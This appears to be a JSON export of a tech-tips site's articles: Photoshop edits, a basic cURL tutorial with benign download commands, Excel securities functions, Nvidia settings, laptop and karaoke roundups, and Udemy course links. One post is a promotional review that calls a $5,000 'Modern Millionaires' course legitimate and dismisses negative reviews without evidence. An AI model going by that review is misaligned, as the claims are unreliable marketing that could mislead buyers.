choose \"All Layers\". Leave the \"Alignment\" option disabled.\n  STEP\u0026nbsp;4. Start Erasing the Object Using the Healing Brush is similar to howthe Stamp Tool works. That's why you should select the part with good texture in an accurate way. To take a sample (an area with good texture), hold down the Alt key on your keyboard. This temporarily turns the cursor into a small circle with a cross. Place this symbol over the needed area, then left-click to take this sample.\nAfter selecting the texture sample, release the Alt key. The cursor will switch to a standard brush cursor. Now you can move it over the power lines and Photoshop will blend the desired background texture with the object texture and replace it with the background.\n  STEP\u0026nbsp;5. Done! This way you can removeall power lines from the photo.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYypprCdomK5qrrErGSipl2ltbDAzqyfqKg%3D\n","link":"/post/how-to-remove-power-lines-in-photoshop/","section":"post","tags":null,"title":"How to Remove Power Lines in Photoshop"},{"body":"No matter what you use your computer for, at least once you need to download a file and opening the browser may seem overkill. This will be the time cURL really plays its role.\nAs its name suggests, cURL is a command-line tool to transfer data by URL. One of the simplest uses is to download a file via the command line. cURL is an extremely powerful tool depending on how you use it. Even if you are familiar with using the command line, it is difficult to fully exploit the full potential of cURL.\nInstructions for using cURL command in Linux Basic functions of CURL Track HTTP Headers Save cURL results to a file Download multiple files at once The download process has stopped Use basic HTTP authentication Basic functions of CURL One of the most basic things you can do with cURL is to download a website or file. To do this, simply use the curl command followed by a URL. Eg:\ncurl https://www.google.com  In most situations, using the command this way will help you get a terminal that contains the full raw (raw) HTML data (in the most ideal case) or unreadable characters (in case worst). If you want to save it to a file, you can use standard Unix redirection features to do this.\ncurl https://www.google.com \u0026gt; google.html  Track HTTP Headers Browsers often fix this for you, but the Internet is different. When you enter a URL, you will probably be redirected one or more times before reaching the landing page.\nFor example, say you are trying to visit TipsMake.com website. Enter the following command that will help you get a redirect notification:\ncurl http://quantrimang.com  You can track these HTTP location headers by using the following -L flag:\ncurl -L http://quantrimang.com    It doesn't look great in the terminal, but it's also an option to know.\nSave cURL results to a file There are several ways to save URL content into a file. The -o option allows you to decide the file name, while the -O option uses the file name in the URL to save. To select your own file, use the following option:\ncurl -o filename.html https://example.com/url  Often you will want to save a file with the same name it uses on the server. To do that, use the -O option .\ncurl -O https://example.com/filename.html    Download multiple files at once If you need to download several files at once, cURL will help you easily do this with the -O option .\ncurl -O https://example.com/file1.html -O https://example.com/file2.html    When downloading this way, cURL will try to reuse the connection instead of creating a new connection each time.\nThe download process has stopped No fun when the download process stopped midway. Fortunately, cURL makes it easy to continue downloading without having to start over. The syntax is a bit strange, because you need to add -C - to the command.\nSuppose you started downloading with the following command:\ncurl -O https://example.com/bigfile.zip  After that, you stopped it by pressing Ctrl + C. You can continue with the following command:\ncurl -C - -O https://example.com/bigfile.zip  Use basic HTTP authentication Basic HTTP authentication will not work with things that require usernames and passwords. But if the server uses basic HTTP authentication, cURL will be able to work with this feature. To download a file with username and password authentication, you can use the following command:\ncurl -u username:password -O http://example.com/filename.html    This command also works with FTP servers, because cURL supports many different protocols.\nThere are many things you can do with cURL. Sometimes you can feel all the functions that cURL offers can be too much. If you feel that cURL is too complicated, you can choose a simpler alternative: GNU wget.\nAlthough cURL provides all the options you want, wget actually provides the best default options for you. If you are not sure what is the right choice, read the detailed comparison of TipsMake.com cURL and wget to make a decision.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqkwdGlZJynnaKur7CMoqVmpJmjwrk%3D\n","link":"/post/how-to-use-curl-command-in-linux/","section":"post","tags":null,"title":"How to use cURL command in Linux"},{"body":"According to calculations by experts, by 2009, there will be 150 million laptops (laptops) consumed, this number for the first time surpassed the consumption of desktop computers (PC). The lifespan of most laptops is about 3 years, then they will be discarded by their owners to replace them with new, more modern and fashionable machines. From that fact, designers have come up with the idea of ​​a more environmentally friendly laptop - from production to recycling. \n Problem: Toxic plastic Solution : Producing machine case from . cereal Production of bioplastics of plant origin requires less oil and energy than conventional plastics. The major obstacle is heat resistance. Fujitsu is developing a semi-natural semi-natural laptop and is testing the plastic material extracted from castor oil, hoping to improve the heat resistance of the casing. Problem: Replace or upgrade Solution : Upgrade, but waste more garbage! The US Department of the Environment says Americans emit 19,000 tons of garbage every year as laptops. The reason is due to the changing habits of users. And the main solution is to upgrade and to both reduce and reduce costs, and even save energy and materials for the production of new machines. Asus has created a laptop line that allows easy replacement of components such as microprocessors, video cards . only with extremely simple operations. Problem: Costing energy for production \n Solution : Build a more efficient and energy efficient factory Energy to produce a laptop is equivalent to the energy it uses. Therefore, it is necessary to calculate for the computer factory to consume less energy. Such a factory, which has been in operation since 2009, is located in Richardson, Texas, the United States will reduce electricity consumption by 25% and water by 35%, while the amount of nitrous oxide emitted also reduces by 50%, cost. construction 30% lower than the current factory. One of the energy-saving methods is to use the thermal energy generated by giant air conditioning devices to heat the water.    Problem: The screen consumes energy \n Solution : Use friendly light An LCD monitor can consume more than half of the laptop's fuel when in use, mainly due to fluorescent background light. Some laptops now replace this technology with a more efficient LED display, but the future is OLED (organic light-emitting diode). This is the technology to completely solve the fuel problem for the screen. However, this technology has only been tested in small size like mobile phones but manufacturers hope to develop it on computer screens in the near future. Problem: Duration of use Solution : Solar energy Once again solar energy is the optimal solution. MSI Computers has successfully developed a laptop with photovoltaic panels with intermittent layers that continuously charge the device and store energy for low-light situations. Problem: Types of hazardous waste Solution : Build a strict legal system The situation of e-waste has caused nations to enter into the law. In 2006, the EU issued a law to limit the toxins used in the production of electronic devices, and the United States introduced a system of assessment of toxin content and waste in computer devices. According to calculations by experts, 2011 will face 3,000 tons of electronic waste. So besides improving products, it is also to prevent consequences. Problem: Recycling effectively \n Solution : Managing components Normally, to recycle the computer, it has to open and check which parts are still valid for reuse or resell, which parts are broken. This process, according to Georgia Institute of Technology Dr. Valerie Thomas, will be shortened if manufacturers attach to each machine to release a device to control their components and condition. Problem: The role of the hard drive \n Solution : Replace with new generation storage device Future laptops will save 10% of energy use and weight by replacing the hard drive with removable storage devices, large and compact memory. Dell has manufactured laptops with 32GB semiconductor hard drives. By 2012, Samsung hopes to release a hard drive that is 30 times larger than its current capacity. Explain\nncG1vNJzZmismaXArq3KnmWcp51kuaK806inZqGeYsGpsYyfrK2topo%3D\n","link":"/post/laptop-in-the-future/","section":"post","tags":null,"title":"Laptop in the future"},{"body":"If only life was that easy!\nIf it sounds too good to be true, it probably is. You must have heard the advice a million times. The good thing is, people are becoming more and more vigilant. They are usually able to tell if something is a scam or not.\nIt gets a little tricky when it comes to those premium courses that teach how to make money online. Some of them are scams or a complete waste of time but there are many which are not.\n  How to tell between a scam and a money-making opportunity? Start by searching for reviews and see what people are saying about that course. You will find many bad reviews for something that is a fraud. But that doesn't mean people will not say anything bad about a legit training program.\nYou can find some negative comments coming from people who weren't able to make money. This is not always a fault of course. Some of these people didn't make it because they weren't persistent or patient enough. Part of the blame goes to the course providers when they make tall claims. The truth is, any course that can help you make more money than what you have paid for the course is not a scam. You are not getting robbed of your money. Once you get to the breakeven point, it's easier to work hard and become profitable.\nAnother motive behind a bad review is to make a specific product look bad to make another one look good. The other product is usually a course they want to sell.\nThe Modern Millionaires - Why is it not a Scam? You can look at the business model taught in the Modern Millionaires course and tell that it's not a scam.\nIf you find a course advocating something that is not in demand, it probably is a scam. For example, a pyramid scheme will hardly mention anything that is in demand. The entire business is based on getting new members on board.\nThis is not the case with The Modern Millionaires. It uses the \"lead flipping\" model for making money online. Anyone with a basic understanding of business can tell that lead generation is not a scam. It is one of the hottest skills in the business world. This shows that the course is not a scam, at least as far as the business model is concerned.\nHow much money can you make with lead flipping? A very basic understanding of business will tell you that leads are always in demand. That's probably the easiest thing to sell to businesses. You can waste months convincing businesses to use your marketing or advertising service. But when you go to them with a stream of sales-ready leads, they will not waste a second in saying yes. After all, these are potential customers looking to buy from them.\nLead flipping can turn into a very profitable business. You have to understand that it is not a get-rich scheme. You are not going to start making money from day one. That doesn't mean you need to be an expert or guru in your niche (although experience always helps). You can learn and take action as soon as you receive the training, and build momentum over time.\nDoes the course teach you how to generate and flip leads? It is one thing to talk about a business idea and another thing to lay out the plan that you can take and put in place. Some courses can make a lot of sense but when it comes to actionable tips, they fall short.\nThe Modern Millionaires course is different. There's very little theory. More than 90% of the training program consists of practical information.\nSpend a few hours going through the second and third module and soon, you will have it figured.\nAbdul and Chance - Entrepreneurs or Scammers? It's hard to differentiate between a true entrepreneur and a con man. The only way to know that is by looking at the businesses in their portfolio. The scammers are usually all talk. Abdul and Chance have several successful businesses. They know what it takes.\nTheir experience in lead generation has been a driving force to come up with the course. Very few courses can deliver what they promise from day one. The Modern Millionaires does. This is because the coaches understand the pain points and challenges you can face. They will give you the templates and tools to help you hit the ground running.\nWhat's the cost in terms of time and money? The only drawback of the course is the price. Yet, most legit training programs or memberships are usually on the expensive side. This is because they are looking to make fewer sales instead of accepting everyone on board.\nYou cannot succeed without getting some help from the founders and group members. And the high paywall stops time-wasters and non-serious persons from wasting everybody's time.\nYou should be looking to spend something in the range of $5,000. You will also need a few hours daily. The course is comprehensive but concise. It's not unnecessarily long. This is not a get-rich plan. You will make money, but you must work at it. And investing your time, effort, and skill to learn the art of entrepreneurship can pay off in the long run.\nThe Modern Millionaires process: It's a simple enough plan. Here's what you will have to do.\n1. Choose your niche 2. Find prospects or potential buyers (businesses interested in leads) 3. Set up a website or landing page 4. Set up PPC campaigns 5. Set up email marketing or remarketing for lead nurturing 6. Get the leads and sell them to businesses at a profit The Modern Millionaires promises to teach you the process that Abdul and Chance have used to earn their millions. You will be able to replicate these processes after going through the training.\nHow to get started: Getting started is easy. You can apply to be a part of the course by going to the website. They do not accept new members without getting on a call. Once you have signed up, it's just a matter of applying what you are reading.\nPlan to invest a few hours every day for a month or two. You will have enough information to get started during this time. You can set an appointment or get on one of their live sessions if you're still struggling after some time.\nThe coaches will personally work with each member who joins weekly. Even more frequently when required.\nWhat kind of skills or knowledge do you need? The course is for anybody who understands the basics of business. You will need to reach out to businesses so good communication skills are a plus. Your confidence and ability to set realistic expectations will be the key.\nThe Modern Millionaires claim that anybody can do this provided they have some basic skills in writing, sales, and business. There's no need to be an IT pro or a genius with coding. If you are average but willing to work hard, you can go far with Abdul and Chance.\nThings to remember before signing up for Modern Millionaires:\nDo not join if you do not have the money or time to invest. Do not get too hung up on the price tag. You will only compare it with other products or programs which have a lower price point but no value at all. Make sure you can communicate well and understand your interests and strengths. If you are a jack of all trades, this course might not be for you. It'll take some doing. Don't expect to wave a magic wand and see the money rolling in. This is a legitimate way to start your own business based on what you love. It's just going to take some effort but the rewards will be worth it! Be patient. Do not expect instant results. Businesses take time to come on board. Keep an open mind, learn as much as you can from the mentors and use your skills and efforts to make this work for you! Don't get demotivated by the negative reviews. Remember that successful students are busy making money while others complain. When you join their Facebook group, you will see many students who are having some success. A little more about the Modern Millionaires Facebook group: The mentors run a Facebook group where you can ask questions and keep in touch with the other students. It is very active because many of the students are engaged and learning something new each day.\nYou will see many students sharing small and big wins regularly. This will help you realize that this program works.\nThe mentors have a presence in the group and are always ready to answer your questions. You can ask specifics about your business or random thoughts that pop up during the day.\nYou are guaranteed their support for as long as you need it. It's a safe, friendly, and fruitful environment.\nConclusion: You can hire the best mentor or join the best training programs but your success will depend on how determined you are. You will need to build the business from scratch. If you don't have the patience, time, and resources to do it, you should stay away from anything like this.\nIf you are serious, there's money-to-be-made in this system.\nmake money ncG1vNJzZmismaXArq3KnmWcp51kurCwxKulZqWZobmqu82aoKudo2KwsMHRrJxmmV2osKK5jKipZq6RocKirsueZK2qkZ67qrrGZp2oql2au7W%2BxKmpnqaVqr%2B0\n","link":"/post/modern-millionaires-course-a-scam-or-valuable-training-for-entrepreneurs/","section":"post","tags":null,"title":"Modern Millionaires Course - A Scam or Valuable training for Entrepreneurs"},{"body":"The following article details the meaning and usage of the PRICE, PRICEDISC and PRICEMAT functions - Calculate the value of stock in excel.\n1. The PRICE function Description: Returns the value per $ 100 of a security that pays periodic returns.\nSyntax: = PRICE (settlement, maturity, rate, yld, redemption, frequency, basis) .\nInside:\n- settlement : The settlement date of the securities is the date after the issue date of securities to be sold to buyers, which is a required parameter.\n- maturity : The maturity or expiry date of a security, which is a mandatory parameter.\n- rate : The annual interest rate of the security.\n- yld : Annual profit of the security.\n- Redemption : Redemption value of the securities is calculated in units of $ 100.\n- frequency : Number of interest payments per year, frequency = 1 -\u0026gt; paid 1 time per year, frequency = 2 -\u0026gt; annual interest payment 2 times, frequency = 4 -\u0026gt; annual interest payment 4 times.\n- basis : The basis for counting days has the following values:\n+ basis = 0 or skip: A month has 30 days, a year has 360 days based on US standards.\n+ basis = 1: Number of days per month = number of actual days per month, number of days per year equals the number of actual days per year.\n+ basis = 2: Number of days per month = number of actual days per month, number of days per year is 360 days.\n+ basis = 3: Number of days per month = number of actual days per month, number of days per year = 365 days.\n+ basis = 4: Number of days per month = 30 days, number of days per year 360 days according to European standards.\nAttention: \n- If settlement, maturity, frequency is the decimal function takes the integer value of those parameters.\n- In case of invalid date data entry the function returns the #NUM! Error.\n- If yld the function returns the #NUM! Error value\n- If the value of frequency is not in the set {1, 2, 4} or the basis value is not in the set {0, 1, 2, 3, 4} the function returns the error value.\n- Where settlement\u0026gt; maturity function returns the #NUM! Error value\nFor example: \nCalculate the value of a security (based on $ 100) knowing the stock settlement date is December 3, 2016, the stock expiry date is 2/19/2020, the annual interest rate is 12.6%, the annual profit is 5.9 %, pay interest twice a year, basis for calculating days is the actual number of days per month and the number of actual days per year.\nIn the cell to calculate enter the formula: = PRICE (B8, C8, D8, E8, 100, F8,1) .\n  Press Enter -\u0026gt; value of stock at face value of $ 100 is:\n  2. PRICEDISC function Description: The function performs the face value calculation of $ 100 of a discounted stock.\nSyntax: = PRICEDISC (settlement, maturity, discount, redemption, basis) .\nInside:\n- settlement : The settlement date of the securities is the date after the issue date of securities to be sold to buyers, which is a required parameter.\n- maturity : The maturity or expiry date of a security, which is a mandatory parameter.\n- discount : Discount rate of the stock.\n- Redemption : Redemption value of the security, calculated in units of $ 100.\n- basis : The basis for counting days has the following values:\n+ basis = 0 or skip: A month has 30 days, a year has 360 days based on US standards.\n+ basis = 1: Number of days per month = number of actual days per month, number of days per year equals the number of actual days per year.\n+ basis = 2: Number of days per month = number of actual days per month, number of days per year is 360 days.\n+ basis = 3: Number of days per month = number of actual days per month, number of days per year = 365 days.\n+ basis = 4: Number of days per month = 30 days, number of days per year 360 days according to European standards.\nAttention: \n- The function is calculated by the formula:\n  - If settlement , maturity , frequency is the decimal function takes the integer value of those parameters.\n- In case of invalid date data entry the function returns the #NUM! Error.\n- If yld or rate or frequency -\u0026gt; the function returns the #NUM! Error value\n- If the value of frequency is not in the set {1, 2, 4} or the basis value is not in the set {0, 1, 2, 3, 4} the function returns the error value.\n- Where settlement \u0026gt; maturity function returns the #NUM! Error value\nFor example:\nCalculate the value of securities (based on $ 100) knowing that the securities settlement date is December 3, 2016, the securities expiry date is February 2, 2020, the discount rate is 4.66% of the basis for calculating the date as a number. actual days per month and actual days per year.\n  In the cell to calculate enter the formula:\n  Pressing Enter results returns:\n  3. PRICEMAT function Description: The function calculates the value based on the $ 100 face value of a security that pays interest on the maturity or expiry date of the security.\nSyntax: = PRICEMAT (settlement, maturity, issue, rate, yld, basis) .\nInside:\n- settlement : The settlement date of the securities is the date after the issue date of securities to be sold to buyers, which is a required parameter.\n- maturity : The maturity or expiry date of a security, which is a mandatory parameter.\n- issue : Date of issuing securities, is a required parameter.\n- rate : The annual interest rate of the security.\n- yld : Annual profit of the security.\n- basis : The basis for counting days has the following values:\n+ basis = 0 or skip: A month has 30 days, a year has 360 days based on US standards.\n+ basis = 1: Number of days per month = number of actual days per month, number of days per year equals the number of actual days per year.\n+ basis = 2: Number of days per month = number of actual days per month, number of days per year is 360 days.\n+ basis = 3: Number of days per month = number of actual days per month, number of days per year = 365 days.\n+ basis = 4: Number of days per month = 30 days, number of days per year 360 days according to European standards.\nAttention:\n- Calculation formula of the function:\n  - If settlement , maturity , frequency is the decimal function takes the integer value of those parameters.\n- In case of invalid date data entry the function returns the #NUM! Error.\n- If yld or rate or frequency -\u0026gt; the function returns the #NUM! Error value\n- If the value of frequency is not in the set {1, 2, 4} or the basis value is not in the set {0, 1, 2, 3, 4} the function returns the error value.\n- Where settlement \u0026gt; maturity function returns the #NUM! Error value\nFor example: \nCalculate the value of a securities that knows the securities settlement date is December 3, 2016, the expiry date is February 2, 2020, the issue date is February 2, 2014, the annual interest rate is 12.8%, interest. The annual profit earned is 6.9% of the basis for calculating days as the actual number of days per month and the number of actual days per year.\n  In the cell to calculate enter the formula: = PRICEMAT (B8, C8, D8, E8, F8, G8) .\n  Pressing Enter results returns:\n  The above is a detailed guide of meaning and usage of securities value calculation functions.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kvbO1wp5kqaqZmLKltdKcZKmqmZiyrq3TZpqapJOquaLAxGaroZ1dq66twcRmpp9lo6m8pLeMoqVmnaiYsq0%3D\n","link":"/post/price-pricedisc-pricemat-calculate-the-value-of-stock-in-excel/","section":"post","tags":null,"title":"PRICE, PRICEDISC, PRICEMAT - Calculate the value of stock in Excel"},{"body":"Nvidia's Control Panel is a utility found on nearly all desktop computers and many laptops with Nvidia graphics hardware installed. It can adjust resolution, refresh rate, color settings, and Nvidia-specific features like G-Sync.\nThe Nvidia Control Panel is easily accessible on most Windows PCs with Nvidia graphics hardware. Here's how to open it.\nStep 1. Right click on any free space on Windows Desktop.\nStep 2. Click on Nvidia Control Panel .\n  Step 3. Nvidia Control Panel will now open.\nAlternative method to open Nvidia Control Panel If the Nvidia Control Panel can't be found by right-clicking on your desktop, this slightly more complicated alternative method might help.\nStep 1. Search for Control Panel in Windows Search. Click Control Panel in the search results. You can also search for Control Panel in Windows Settings.\nStep 2. Control Panel will open. Click Hardware and Sound .\nStep 3. Nvidia Control Panel will appear at the bottom of the listed options. Click it.\n  Why can't open Nvidia Control Panel? Problems with Nvidia driver installation can cause the Nvidia Control Panel to disappear or refuse to open.\nThis problem is usually caused by missing, incomplete or improperly installed Nvidia drivers. You can fix the problem by installing the latest Nvidia driver. The latest Nvidia driver installation method works with most Windows PCs, but may fail if your PC manufacturer uses a proprietary Nvidia driver version.\nIf this is true, installing the Nvidia driver will display an error message warning you to download a driver that is not compatible with your device. You will need to download the new driver from your PC manufacturer's support website instead of from Nvidia.\nSee also: Fix Nvidia Control Panel not opening/active/responsive error for some other methods.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddpL2muoynraKcmZZ6pLvNramopF2lrq%2Bxyw%3D%3D\n","link":"/post/steps-to-open-nvidia-control-panel/","section":"post","tags":null,"title":"Steps to open Nvidia Control Panel"},{"body":"All four laptops introduced below are equipped with a high-resolution 15.4-inch screen (720p), high-end discrete graphics from Nvidia, Blu-ray drive or HD DVD and many advanced multimedia features. another advance. 1. Dell XPS M1530\n XPS M1530 users can install a Blu-ray drive to enhance multimedia features for their machines.Photo: Dvhardware .\nDell XPS M1530 is equipped with a screen resolution up to 1,680 x 1,050 pixels, WSXGA + standard and discrete graphics Nvidia GeForce 8600M GT 256 MB, good support for the DirectX 10. platform. It also has an HDMI connector, a 5-in-1 memory card reader and an advanced DVD optical drive. If you want, Dell XPS M1530 users can also integrate Blu-ray drives, with an additional cost of 500 USD.\nNot only is it powerful in terms of entertainment features, this Dell multimedia laptop also has an extremely attractive appearance, with 3 choices of shell color: black, red, white and slim body of only 3, 5 cm, weighs 2.6 kg. Reference configuration : Intel Core 2 Duo T9300 2.5 GHz, 3 GB RAM, 200 GB hard drive, built-in Windows Vista Home Premium operating system. Price: 2,175 USD. 2. Sony Vaio VGN-FZ485U / B\n  Sony Vaio VGN-FZ485U / B is a true mobile entertainment machine.Photo: Itechnews .\nSony Vaio FZ is a laptop that is both beautiful in appearance and attractive in multimedia features. The 15.4-inch screen, 1,280 x 800 pixel resolution of the FZ485U / B is considered one of the best display laptops available today. In addition, this laptop is integrated Blu-ray drive, discrete graphics Nvidia GeForce 8400M GT 256 MB and quite rich in connection, with 3 USB 2.0 ports, with Firewire, Ethernet, HDMI, VGA ports S-video.\nHowever, Sony Vaio VGN-FZ485U / B is not equipped with DVI port. The gaming ability of this laptop is not very impressive, while the battery of the laptop can only operate continuously for less than 2 hours. Reference configuration : Intel Core 2 Duo T8100 2.1 GHz, 4 GB RAM, 300 GB hard drive, preinstalled with Windows Vista Ultimate operating system. Price: 2,200 USD. 3. Apple MacBook Pro\n  Inside the slender, charming body of Apple MacBook Pro are extremely powerful multimedia features.Photo: Techgadgets .\nAt the end of last month, Apple carried out a series of upgrades to its existing laptop line, whereby the MacBook Pro has Intel's latest Penryn chip, with processing speeds of up to 2.6. GHz. At the same time, this 15.4-inch laptop is also equipped with a multi-touch mouse tray (trackpad) just like the MacBook Air, while the hard drive capacity is increased to a maximum of 300 GB.\nThe new Apple MacBook Pro also has a discrete Nvidia GeForce 8600M GT graphics card like the Dell XPS M1530. The screen of the device has a resolution of up to 1,440 x 900 pixels. The laptop is also equipped with a lot of connectivity ports, including Firewire 800, Firewire 400, Ethernet and DVI output port. Reference configuration : Intel Core 2 Duo T8300 2.4 GHz, 2 GB RAM, 200 GB hard drive, pre-installed Mac OS X. Price: USD 2,100. 4. Toshiba Qosmio F45\n  The Toshiba Qosmio F45 has dedicated multimedia feature management keys at the top and sides of the keyboard.Photo: Laptoplogic .\nWhile HD DVD has lost the battle of Blu-ray's new generation optical disc format, the Toshiba Qosmio F45 still ranks as the best entertainment laptop, simply because of the HD DVD drive, the device. There are also many other attractive multimedia features.\nFirst of all, the famous Harman Kardon-branded speakers, with a built-in subwoofer, provide deeper and clearer bass. Besides the keyboard, Toshiba equips the Qosmio F45 with two dedicated keys to adjust volume and manage content categories when listening to music or watching videos. In addition, the top of the keyboard has a range of keys to manage other multimedia functions. Toshiba Qosmio F45 also has an Nvidia GeForce 8600M GT discrete graphics card, very good support for the DirectX 10 platform. In addition, it also comes with a 4-in-1 memory card reader, 4 USB 2.0 ports and S / S ports. PDIF, FireWire, HDMI, VGA, Ethernet, S-video. Reference configuration : Intel Core 2 Duo T7250 2.0 GHz, 2 GB RAM, 300 GB hard drive, preinstalled with Windows Vista Ultimate operating system. Price: 1,600 USD.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpsbaGemLVuudSlq6KllZm2onnLmqetp6A%3D\n","link":"/post/top-15-4-inch-multimedia-laptop/","section":"post","tags":null,"title":"Top 15.4-inch multimedia laptop"},{"body":"You use a smartphone for everything, so why not use it to sing Karaoke? When singing Karaoke, you will no longer feel awkward or embarrassed when singing in front of a group of strangers. You can sing your favorite songs at home or anywhere, add effects to the vocals and even sing a group of friends. The following article will introduce you to some of the best Karaoke singing applications for Android.\nHow to sing Karaoke on computer? 1. Karaoke Sing \u0026amp; Record Sing \u0026amp; Record Karaoke is a very interesting Karaoke application for use in parties or simply at home. It has a long list of popular songs but not all songs are free. If you want to access more songs, you'll need to upgrade your account to Premium for $ 4.40 a month or $ 33.21 a year. With this fee, you will have unlimited access to VIP songs, record, save and share all you want. In addition, you will no longer be uncomfortable with singing again appearing ads.\n  You can choose songs from different genres such as rock, pop, country music (country), favorite songs from the 80s, 90s and more. When ready, you can sing and record or just sing if you want.\nThe app offers a collection of your own songs to make it easier to choose songs. There is also a feed that others have saved their recordings, you can also save your recordings there when clicking on the \"Me\" tab.\n2. The Voice: On Stage The Voice: On Stage app is probably one of the best music apps you've ever known. You can sing solo or sing a duet with your favorite artists and other users, or even sing a chorus, top singers. Searching for songs on the app is very convenient because they are arranged by top artist, genre or song.\n  You can turn Karaoke into a music video by turning on the camera. When you enable this feature, you can add filters to make the video more attractive, adjust your volume and voice.\nIn addition, the application also has rankings of amateur singers, you can see this ranking in the Trophy tab. One point except for this application is that you cannot add sound effects while singing but can add after recording, anyway it is a great Karaoke application.\n3. Red Karaoke Sing \u0026amp; Record With Red Karaoke Sing \u0026amp; Record you can sing with a filter or theme. You can choose themes such as patterns, candles, roses, hearts, snowmen, disc players and more. The app also offers a variety of genres to choose from such as pop, ballad, soul, rock, R\u0026amp;B and more.\n  Unlike other apps on the list, this Karaoke application allows you to sing in many different languages. So if English is not your native language, you can choose another language. When you're done singing, you can add effects like chorus, echo, reverb, etc.\n4. Online Karaoke Karaoke Online is a simple application but there are still many good songs to sing Karaoke. The videos on the app are all from YouTube.\n  The application allows you to record vocals without paying. Unlike other applications, you can decide the number of added sound effects thanks to the sliders next to each option. You can add effects like echo, reverb, 3BandEQ and Flanger.\nAfter listening to the recording, you can also send the file, cut or delete it. Save your favorite songs to find them easier.\n5. Sing Sing is one of the most popular Karaoke singing apps on Google with over 100 million downloads. What makes this application stand out from the rest is that it has songs that are even on hit songs today.\n  You can find your friends on Sing and join them in a duet. Also you can text other users to invite them to sing a duet or a song. It allows you to add effects like magic, studio, polish, echo and more.\nThe app offers you a free repertoire of songs and then you will need to subscribe monthly for $ 0.99 or annually at a cost of $ 9.99. With that price, you will sing without ads, share access between Android and iOS and access unlimited songs.\nAbove is the great Karaoke song application for Android. With these applications, you can practice your voice every day and maybe someday you will become a singer, it is worth looking forward to.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5koKqVlsFut8CrmKijlWKusbzLopqarJmku7R5xaipZpmembyqvsM%3D\n","link":"/post/top-5-great-karaoke-applications-for-andoird/","section":"post","tags":null,"title":"Top 5 great Karaoke applications for Andoird"},{"body":"A programming language that runs on any computer in the world. A language does not need any special software to run. A language ranked among the top in the world.\nWhy don't you learn JavaScript?\nThere are nearly 300 programming languages ​​in the world, but JavaScript is considered an essential platform for anyone learning about programming. It is everywhere - from a modest PDF file to Internet of things (IoT). Everyone needs JavaScript and that need is more and more today. Therefore, Javascript has become a flexible programming language.\nInternet will not exist without JavaScript.\nJavaScript has some of the best online learning resources. And you just need a notepad to start learning JavaScript!\nLet's start with the following 5 popular courses from Udemy!\nUdemy's top 5 JavaScript courses 1 Hour JavaScript JavaScript for Beginners Learn by Doing Practical Exercises JavaScript: Understanding the Weird Parts Creating Responsive Web Design The Complete Web Developer Course 2.0 1 Hour JavaScript Content: Why should you start learning JavaScript. Level: Beginner.   Today, you don't need any expensive courses to learn programming skills. Just Chrome browser and a good Internet connection for web development. This is a complete course for beginners and a good platform for learning programming without being too stressed.\nIncludes 18 lectures in an hour. The lectures will not be too stressful and you can get a good grasp of how JavaScript makes static websites work. This is a basic course with a few simple lines of code.\nYou can refer to the 1 Hour HTML and 1 Hour CSS courses.\nReference links:\n https://www.udemy.com/1-hour-javascript/?siteID=ygZRWO0LhtI-AYHG5OG5OZ22F6vcpWlwLg\u0026amp;LSNPUBID=ygZRWO0LhtI https://www.udemy.com/1-hour-html/?siteID=ygZRWO0LhtI-3SDyTKr61Pi9zqRcrb7xEQ\u0026amp;LSNPUBID=ygZRWO0LhtI https://www.udemy.com/1-hour-css/?siteID=ygZRWO0LhtI-05uxg8LCN5YzGDf_lzqh0g\u0026amp;LSNPUBID=ygZRWO0LhtI  JavaScript for Beginners Learn by Doing Practical Exercises Content: Steps to prepare in advance an advanced course. Level: Beginner.   There is only one way to learn programming. Apply what you learn and see it work right before your eyes. Edwin Diaz is an experienced JavaScript instructor who takes you through variables and loops with hands-on exercises. You will not become an expert after 3.5 hours, but you will definitely feel more confident when addressing the big challenges ahead of you.\nYou will need some knowledge of HTML before you start the lecture. You will be introduced to variables, functions, arrays, loops, conditional logic and operations. Practicing files, quizzes and exercises is great for you.\nReference links:\n https://www.udemy.com/javascript-for-beginners-introduction-learn-fast-easy/?siteID=ygZRWO0LhtI-CjGVoBeTrEqu5NYy3eA7rQ\u0026amp;LSNPUBID=ygZRWO0LhtI  JavaScript: Understanding the Weird Parts Content: Advanced concepts like closures, prototypal inheritance, IIFE and more. Qualifications: Basic knowledge of JavaScript is required.   Imitate or understand. It is always a difficult choice to learn new things. Mimicking is like a shortcut to acquiring knowledge, and understanding it will help you grasp it. This 12-hour course will familiarize you with more difficult concepts in programming languages.\nThe template code provided for beginners is a useful resource to practice. Dive into advanced concepts like literal objects and objects, function expressions, prototype inheritance, functional programming, range strings, function creation functions and new ES6 features.\nFor example, this may be your first acquaintance with object-oriented programming. With the help of two parts of the course, you will learn how to easily create and reuse code in your applications.\nThe purpose of the lessons is to make you a more comprehensive web developer, as well as be able to troubleshoot faulty programs in a confident way. When you finish creating your own JavaScript framework, it is a valuable experience in your journey to learn about Javascript. This course prepares you for many other JavaScript-based technologies like AngularJS, NodeJS, jQuery, React, Ember and MongoDB.\nReference links:\n https://www.udemy.com/understand-javascript/?siteID=ygZRWO0LhtI-R8pfYTyQjKFb6nhb1hF5mQ\u0026amp;LSNPUBID=ygZRWO0LhtI  Creating Responsive Web Design Content: How to create an adjustable website on any screen size. Level: Beginner.   Open a website on your tablet or make your browser smaller. Is the website flexible to fit the new screen? This is a responsive web design and it's a pretty big requirement for fragmented websites today. The tenant you don't want to design many websites for different devices, they just want you to design a website that fits any device.\nSometimes, you have to be both a programmer and a designer. Join this course and learn how to use HTML5, CSS3 and Media Queries to create compatible designs on any device. You will also learn how to make your site backward compatible with older browsers. CSS, HTML and Photoshop templates are provided in the lessons to help you practice the techniques.\nReference links:\n https://www.udemy.com/creating-responsive-web-design/?siteID=ygZRWO0LhtI-WI_sap6NsRF6PXxCTlybdA\u0026amp;LSNPUBID=ygZRWO0LhtI  The Complete Web Developer Course 2.0 Content: Learn more about web development and mobile application development based on HTML. Level: Beginner.   All of your skills with HTML, CSS and JavaScript will be applied to creating HTML5-based websites and mobile apps. This is a comprehensive course for beginners who want to learn about web development, with 289 video lectures, lasting for 31 hours.\nYou will be practicing by creating 25 responsive websites and real mobile applications. Start with basic web pages created with HTML, JavaScript and CSS. Then continue with interactive websites created with jQuery, Bootstrap and WordPress. Advanced lectures include server-side code 